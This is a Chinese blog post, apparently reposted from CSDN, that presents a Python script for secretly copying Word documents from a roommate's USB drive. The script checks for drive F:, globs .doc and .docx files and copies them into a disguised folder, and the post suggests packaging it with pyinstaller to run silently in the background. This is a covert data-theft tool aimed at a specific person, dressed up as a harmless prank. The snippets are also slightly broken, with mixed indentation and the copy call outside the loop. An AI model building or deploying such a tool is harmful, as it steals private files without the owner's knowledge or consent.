要不要看看舍友的u盘中都存了啥!!

絮叨一下

临近期末考试,决定写一个爬取u盘文档的内容来解决一下我的"燃眉之急"
当然了,这个自己玩玩就行了不要干坏事

思路

第一步:查找U盘
第二步:查找指定文件
第三步:复制

第一步

可以使用os.path模块操作目录。
导入os模块
使用exists方法
查找是否存在指定文件

import os
print(os.path.exists("F:"))
# 有这个盘符就会返回TRUE 没有会返回false

第二步

查找指定文件
使用pathlib模块
使用glob方法,查找指定文件(包含子目录)

from pathlib import *
for file in Path("F:").glob(r"**/*.doc*"):
	# file 的类型是 <class 'pathlib.WindowsPath'>
	# 查找doc,或者是docx文件
	copy = str(file)
    # 要使用shutil.copy 这个方法进行复制,所以要转换一下类型
    # copy两个参数都需要是字符串类型,可以自己看一下

第三步

进行复制

import shutil
shutil.copy(copy, "C:\\windows_old\\03\\03\\word")
# 前面是源文件,后面是你想要的复制到的目录,需要这个目录先存在,可以使用mkdir新建一个

写在最后

可以使用pyinstaller 进行打包 ,运行起来之后就会一直进行查找u盘,查找到之后就会自动进行复制了,当然这个还是有个问题的,就是会显示cmd窗口,这个也是可以解决的.

公众号:Linux下撸python
期待和你再次相遇
愿你学的愉快

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/m0_48486617/article/details/106675870